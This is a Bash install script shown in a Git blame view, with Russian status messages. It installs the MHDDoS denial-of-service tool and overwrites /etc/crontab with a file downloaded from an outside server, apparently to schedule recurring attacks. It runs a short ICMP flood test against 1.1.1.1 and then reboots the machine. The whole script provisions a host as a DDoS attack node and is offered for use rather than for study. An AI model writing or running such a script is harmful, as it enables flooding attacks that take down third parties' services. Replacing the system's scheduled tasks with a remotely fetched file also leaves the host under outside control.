dd/install.sh

25 lines
794 B
Bash
Raw Normal View History

2023-08-17 16:24:26 +00:00
#!/bin/bash
2023-08-18 15:52:43 +00:00
echo "Обновление системы"
2023-08-18 15:44:04 +00:00
apt update -y
2023-08-17 20:03:59 +00:00
apt upgrade -y
2023-08-18 15:41:59 +00:00
echo "Установка MHDDoS"
2023-08-18 15:45:35 +00:00
dpkg --configure -a
2023-08-18 15:44:04 +00:00
apt install -y curl wget libcurl4 libssl-dev python3 python3-pip make cmake automake autoconf m4 build-essential git
2023-08-18 15:41:59 +00:00
git clone https://github.com/MatrixTM/MHDDoS.git
cd MH*
pip3 install -r requirements.txt
2023-08-18 15:44:04 +00:00
apt install screen -y
2023-08-18 15:41:59 +00:00
echo "Настройка cron"
2023-08-17 20:03:17 +00:00
cd /etc
2023-08-17 20:00:52 +00:00
rm crontab
wget http://gitea.dopserver.ru/partizan59rus/dd/raw/branch/main/crontab -O crontab
2023-08-18 15:01:30 +00:00
chmod -R 644 crontab
2023-08-17 18:07:30 +00:00
echo "Создана задача:"
2023-08-17 20:00:52 +00:00
echo "-----------------------"
2023-08-17 18:30:52 +00:00
cat /etc/crontab
2023-08-17 20:00:52 +00:00
echo "-----------------------"
2023-08-18 15:52:43 +00:00
echo "Запуск теста на 10 секунд"
2023-08-18 15:54:54 +00:00
cd /root/MH*
2023-08-18 15:53:39 +00:00
python3 start.py ICMP 1.1.1.1 1 10 true
2023-08-17 19:51:06 +00:00
echo "Установка завершена"
2023-08-17 20:03:59 +00:00
reboot